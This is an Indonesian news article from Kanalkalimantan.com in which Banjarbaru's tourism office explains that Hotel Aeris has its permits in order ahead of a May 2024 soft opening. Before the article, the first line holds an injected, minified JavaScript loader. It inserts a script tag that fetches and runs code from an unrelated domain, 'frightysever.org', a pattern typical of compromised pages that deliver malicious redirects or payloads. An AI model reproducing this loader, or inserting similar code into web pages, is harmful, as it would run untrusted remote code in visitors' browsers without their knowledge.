(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Begini Penjelasan Disporabudpar Banjarbaru Soal Perizinan Hotel Aeris

KANALKALIMANTAN.COM, BANJARBARU – Sebuah hotel baru di ruas Jalan Panglima Batur Banjarbaru akan melakukan soft opening pada Rabu (22/5/2024) besok.

Manajemen hotel melakukan pertemuan dengan Dinas Pemuda dan Olahraga, Kebudayaan dan Pariwisata (Disporabudpar) Kota Banjarbaru, Selasa (21/5/2024) siang.

Manajer Hotel Aeris, Denny setelah bertemu pihak Disporabudpar Banjarbaru memastikan, pihak manajemen Hotel Aeris telah mengantongi terkait perizinan dan rekomendasi operasional.

Manajemen Hotel Aeris bersama jajaran pejabat Disporabudpar Banjarbaru jelang soft opening. Foto : wanda

“Soft opening akan dilaksanakan, semua izin ada lengkap. Kita koordinasi untuk soft opening besok, perizinan semua sudah clear,” ujar Denny, Manager Hotel Aeris, Selasa (21/5/2024) siang, di kantor Disporabudpar Banjarbaru.

Sementara itu, Kasi Pembinaan dan Pengembangan Pariwisata Disporabudpar Banjarbaru, Silfiana Wahidah Hilmi mengatakan, sesuai aturan apabila sebuah hotel dibangun dengan jumlah 100 kamar ke bawah, maka pengawasan ada di tangan pemerintah kota.

“Di atas seratus kamar masuk ranah provinsi, dan ada pula yang pusat, maka tadi mereka menjelaskan tersedia 80 kamar, tetapi yang masih persiapan untuk uji oba ada 53 kamar,” jelas Silfiana.

Dia menambahkan terkait kabar Disporabudpar Banjarbaru belum memberikan rekomendasi operasional untuk Hotel Aeris dipastikan tidak benar.

Karena sekadar diketahui, pengelola hotel telah mengantongi Nomor Induk Berusaha (NIB) yang dikeluarkan melalui perizinan berbasis Online Single Submission (OSS) pada 18 November 2022 lalu.

“Kalau kelengakapan izin operasional mereka melengkapi, seperti izin Upaya Pengelolaan Lingkungan dan Upaya Pemantauan Lingkungan (UKL/UPL), bahkan terkait rekayasa lalu lintas,” ungkapnya.

“Memang ada hal-hal lain yang harus dilengkapi lagi, seperti laik sehat dari Dinkes, itu masih dalam proses, begitu izin operasional yang harus dikeluarkan Disporabudpar karena ranahnya Pemko,” sambung dia.

Manejemen hotel, sambung dia, juga meminta uji kelayakan andalalin parkir mengingat ada space seluas 30×50 untuk lahan parkir untuk pengunjung hotel.

“Bukan pemanggilan, lebih tepatnya meminta informasi dan penjelasan dari pihak hotel terkait izin hotel tersebut, dan hal-hal lain di dalamnya,” jelasnya.

“Selain NIB, mereka minta bantu ceklist apa yang harus dilengkapi untuk izin operasionalnya. Itu lah alasan mereka datang ke sini hari ini,” tegas dia.

Dirinya pun mengatakan tidak ada masalah untuk rencana soft opening yang akan dilakukan. Karena dari kabar pihak hotel akan melaksanakan grand opening dilakukan pada bulan Agustus mendatang. Sehingga manajemen hotel masih memiliki waktu untuk menyelesaikan proses berkas-berkas izin yang kurang. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie